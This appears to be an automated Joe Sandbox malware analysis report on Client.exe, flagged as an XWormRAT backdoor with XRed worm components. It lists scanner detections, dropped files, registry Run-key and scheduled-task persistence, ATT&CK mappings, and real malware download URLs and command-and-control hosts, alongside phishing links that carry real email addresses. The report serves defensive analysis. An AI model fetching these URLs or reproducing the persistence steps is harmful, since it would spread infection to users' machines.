Source: Yara match	File source: 2.0.._cache_Client.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Client.exe.5e08c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Client.exe.5e08c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Client.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_Client.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_Client.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	11 Windows Management Instrumentation	41 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Peripheral Device Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Clipboard Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scheduled Task/Job	11 Process Injection	11 Obfuscated Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Software Packing	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	131 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Client.exe	92%	ReversingLabs	Win32.Virus.Napwhich
Client.exe	100%	Avira	TR/Dldr.Agent.SH
Client.exe	100%	Avira	HEUR/AGEN.1305769
Client.exe	100%	Avira	W2000M/Dldr.Agent.17651006
Client.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Synaptics\RCXEF1B.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXEF1B.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Roaming\XClient.exe	100%	Avira	HEUR/AGEN.1305769
C:\Users\user\Desktop\._cache_Client.exe	100%	Avira	HEUR/AGEN.1305769
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	HEUR/AGEN.1305769
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\IPKGELNTQY\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\IPKGELNTQY\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXEF1B.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\XClient.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\._cache_Client.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\IPKGELNTQY\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXEF1B.tmp	100%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Virus.Napwhich
C:\Users\user\AppData\Roaming\XClient.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\Desktop\._cache_Client.exe	82%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
C:\Users\user\Documents\IPKGELNTQY\~$cache1	100%	ReversingLabs	Win32.Worm.Zorex

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.eyuyan.com)DVarFileInfo$	0%	Avira URL Cloud	safe
https://docs.google.com/M0	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarP	0%	Avira URL Cloud	safe
https://docs.google.com/...	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	0%	Avira URL Cloud	safe
https://docs.google.com/-	0%	Avira URL Cloud	safe
192.168.1.195	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rar	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll6	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	0%	Avira URL Cloud	safe
https://docs.google.com/etleniyor...	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	0%	Avira URL Cloud	safe
https://docs.google.com/N	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.ini	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.iniZ	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	0%	Avira URL Cloud	safe
https://docs.google.com/r...	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	0%	Avira URL Cloud	safe
https://docs.google.com/uc?id=0;	0%	Avira URL Cloud	safe
https://docs.google.com/VPDVN	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware
https://docs.google.com/..	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	true	unknown
docs.google.com	216.58.206.46	true	false	unknown
drive.usercontent.google.com	216.58.212.129	true	false	unknown
s-part-0039.t-0009.fb-t-msedge.net	13.107.253.67	true	false	unknown
xred.mooo.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
192.168.1.195	true	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eyuyan.com)DVarFileInfo$	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Client.exe, 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000003.00000000.1417498699.00000000004B0000.00000002.00000001.01000000.00000006.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
https://docs.google.com/M0	Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rarP	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/-	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/...	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rar	Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dl	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, ~DF3EB48EB1553B6490.TMP.4.dr, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
https://docs.google.com/etleniyor...	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: safe	unknown
https://docs.google.com/N	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/r...	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/..	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.2097024769.0000000018EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2095101130.00000000165BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2105174600.000000001EBFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2115890764.00000000269BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2075535031.000000000A56E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2099196406.000000001B5BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2085896784.000000000FD3E000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	._cache_Client.exe, 00000002.00000002.3876583700.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/VPDVN	Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.253.67	s-part-0039.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.212.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	docs.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	true

Private

IP
192.168.1.195

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1497354
Start date and time:	2024-08-22 13:09:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Client.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@20/64@12/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 104 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.113.194.132, 184.28.90.27, 51.116.246.106, 104.208.16.94
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, onedscolprdgwc06.germanywestcentral.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, neu-azsc-config.officeapps.live.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Client.exe

Simulations

Behavior and APIs

Time	Type	Description
07:10:23	API Interceptor	441x Sleep call for process: Synaptics.exe modified
07:10:25	API Interceptor	12291067x Sleep call for process: ._cache_Client.exe modified
07:11:22	API Interceptor	1x Sleep call for process: WerFault.exe modified
07:12:21	API Interceptor	2056709x Sleep call for process: splwow64.exe modified
13:10:19	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run ????? C:\ProgramData\Synaptics\Synaptics.exe
13:10:26	Task Scheduler	Run new task: XClient path: C:\Users\user\AppData\Roaming\XClient.exe
13:10:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XClient C:\Users\user\AppData\Roaming\XClient.exe
13:10:36	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk
13:10:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XClient C:\Users\user\AppData\Roaming\XClient.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.253.67	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	Unknown	Browse
	doc_RFQ NEW ORDER #2400228341.pdf.exe	Get hash	malicious	AsyncRAT	Browse
	phish_alert_sp2_2.0.0.0 (40).eml	Get hash	malicious	HTMLPhisher	Browse
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse
	Plata SWIFT 9612741.xls	Get hash	malicious	Unknown	Browse
	https://sonavida.com/click?redirect=https%3A%2F%2Fhihello.me%2Fp%2F1fc9f5e4-5e11-4290-9390-82c26f0a785a%3Freferer%3Demail_signature&dID=1711489982997&hashId=dba3aa3b4435e7d336dd03850fb00b4b616bb279ee6c55ea7f10bc69a9d7a3aad622c8	Get hash	malicious	Unknown	Browse
	https://www.baidu.com/link?url=AFUg5ImByRbRDFqEAwVY_yQvqKKQI0Z9CKlSAojfE3k4FpO2skeOBycThw4wTQJI&wd=YWdyZWdvaXJlQGNvbW11bml0eWZvY3VzZmN1Lm9yZw==&eqid=ukEwxUaNVofiahyjoYydlLeVsGpoQBLJyZiHAGvxPtreMNMzHg	Get hash	malicious	HTMLPhisher	Browse
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse
	http://nam.dcv.ms/s8demi8SWH	Get hash	malicious	HTMLPhisher	Browse
	https://cypurge.sharepoint.com/:p:/s/Cypurge-External/Ec-xY8EC2wNNmI0dzW0lmggBrfL-y1m6uYvGy6KEE7cGJw?email=matt.pfaff%40miller-insurance.com&e=4%3aeD088p&at=9	Get hash	malicious	HTMLPhisher	Browse
69.42.215.252	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LfZoUaTFP7.exe	Get hash	malicious	Neshta, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	TQ1Aw6M5eY.exe	Get hash	malicious	Neshta, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	TBw6qwEBHZ.exe	Get hash	malicious	BlackMoon, Neshta, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_160.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_282.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	LisectAVT_2403002A_250.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0039.t-0009.fb-t-msedge.net	https://aka.ms/LearnAboutSenderIdentification	Get hash	malicious	Unknown	Browse	13.107.253.67
	doc_RFQ NEW ORDER #2400228341.pdf.exe	Get hash	malicious	AsyncRAT	Browse	13.107.253.67
	https://forms.office.com/e/tBp2XcGpEy	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
	phish_alert_sp2_2.0.0.0 (40).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
	Plata SWIFT 9612741.xls	Get hash	malicious	Unknown	Browse	13.107.253.67
	https://sonavida.com/click?redirect=https%3A%2F%2Fhihello.me%2Fp%2F1fc9f5e4-5e11-4290-9390-82c26f0a785a%3Freferer%3Demail_signature&dID=1711489982997&hashId=dba3aa3b4435e7d336dd03850fb00b4b616bb279ee6c55ea7f10bc69a9d7a3aad622c8	Get hash	malicious	Unknown	Browse	13.107.253.67
	https://www.baidu.com/link?url=AFUg5ImByRbRDFqEAwVY_yQvqKKQI0Z9CKlSAojfE3k4FpO2skeOBycThw4wTQJI&wd=YWdyZWdvaXJlQGNvbW11bml0eWZvY3VzZmN1Lm9yZw==&eqid=ukEwxUaNVofiahyjoYydlLeVsGpoQBLJyZiHAGvxPtreMNMzHg	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
	ELECTRONIC RECEIPT_bpost.be.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
	http://nam.dcv.ms/s8demi8SWH	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
	https://cypurge.sharepoint.com/:p:/s/Cypurge-External/Ec-xY8EC2wNNmI0dzW0lmggBrfL-y1m6uYvGy6KEE7cGJw?email=matt.pfaff%40miller-insurance.com&e=4%3aeD088p&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.253.67
freedns.afraid.org	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LfZoUaTFP7.exe	Get hash	malicious	Neshta, XRed	Browse	69.42.215.252
	TQ1Aw6M5eY.exe	Get hash	malicious	Neshta, XRed	Browse	69.42.215.252
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	69.42.215.252
	TBw6qwEBHZ.exe	Get hash	malicious	BlackMoon, Neshta, XRed	Browse	69.42.215.252
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_160.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT, XRed	Browse	69.42.215.252
	LisectAVT_2403002A_156.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_282.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LisectAVT_2403002A_250.exe	Get hash	malicious	XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Draft Commercial Invoice.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://jperezprieto-prg.com/media/sitemaps/?email=atlantis.support@fia-tech.com	Get hash	malicious	Unknown	Browse	51.11.20.152
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	104.212.133.153
	https://web.safecity.com/backup_sql/databases/china/index.php?mc_phishing_protection_id=28398-cr2s30bjhva80uk6hku0	Get hash	malicious	Unknown	Browse	150.171.22.12
	https://account-update-cat0245shh-new-site.webflow.io/	Get hash	malicious	Unknown	Browse	150.171.22.12
	022 0.10.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://t.ly/VwQzN	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://burtpro-my.sharepoint.com/:f:/g/personal/bensmall_burtprocess_com/EjQqDBTPgTNIiAkareSOQFsBzQwuEIsE-StghZpYw03_2g?e=c16mWb	Get hash	malicious	HTMLPhisher	Browse	40.101.136.2
	https://www.dropbox.com/l/scl/AAB-caRhWqrML98bRdmDd16YpJdQGQoNwfM	Get hash	malicious	Unknown	Browse	150.171.22.12
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	20.162.137.242
AWKNET-LLCUS	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	LfZoUaTFP7.exe	Get hash	malicious	Neshta, XRed	Browse	69.42.215.252
	TQ1Aw6M5eY.exe	Get hash	malicious	Neshta, XRed	Browse	69.42.215.252
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	69.42.215.252
	TBw6qwEBHZ.exe	Get hash	malicious	BlackMoon, Neshta, XRed	Browse	69.42.215.252
